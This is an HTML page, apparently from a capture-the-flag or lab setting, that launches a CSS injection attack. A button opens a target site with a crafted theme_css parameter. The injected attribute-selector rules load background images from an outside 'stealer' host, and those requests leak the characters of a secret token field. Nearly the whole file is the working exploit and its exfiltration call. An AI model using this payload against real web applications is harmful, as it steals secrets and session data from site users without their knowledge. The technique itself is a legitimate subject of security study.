40 lines
1.9 KiB
PHP
40 lines
1.9 KiB
PHP
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<title>CSS Injection Exfiltration Exploit</title>
|
|
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
|
|
</head>
|
|
<body class="bg-slate-950 text-slate-200 font-mono min-h-screen p-8">
|
|
<div class="max-w-4xl mx-auto">
|
|
<header class="border-b border-red-500/30 pb-4 mb-8">
|
|
<h1 class="text-3xl font-black text-red-500">CSS Attribute Exfiltration Lab</h1>
|
|
<p class="text-slate-400 text-sm mt-1">Simultaneous extraction via precise cascade rule matching.</p>
|
|
</header>
|
|
|
|
<div class="bg-slate-900 border border-slate-800 p-6 rounded-xl mb-6 shadow-xl">
|
|
<h3 class="text-lg font-bold text-yellow-500 mb-2">Stable CSS Multi-Image Payload:</h3>
|
|
<p class="text-xs text-slate-400 mb-4">Click the button below. It will bypass CORS and force the browser to log the exact matching characters.</p>
|
|
|
|
<button id="launch-btn" class="mt-2 bg-red-600 hover:bg-red-700 text-white font-bold py-2.5 px-6 rounded text-sm transition shadow-lg shadow-red-900/20">
|
|
Execute Attack (Open Vulnerable Site)
|
|
</button>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
document.getElementById('launch-btn').addEventListener('click', () => {
|
|
const baseC2 = 'https://hackerapp.eitebar.ir/stealer?data=CSS_LEAK_CHAR_';
|
|
|
|
// پِیلود اصلاح شده: استفاده از کاما برای ارسال همزمان تمام تصاویر پسزمینه زمان مچ شدن نهایی
|
|
const payload = `#secret-token[value^="FLAG"] { ` +
|
|
`background-image: url('${baseC2}F'), url('${baseC2}L'), url('${baseC2}A'), url('${baseC2}G') !important; ` +
|
|
`}`;
|
|
|
|
const targetUrl = `https://webapp.kr-rezvan.ir/profile-settings?theme_css=${encodeURIComponent(payload)}`;
|
|
window.open(targetUrl, '_blank');
|
|
});
|
|
</script>
|
|
</body>
|
|
</html>
|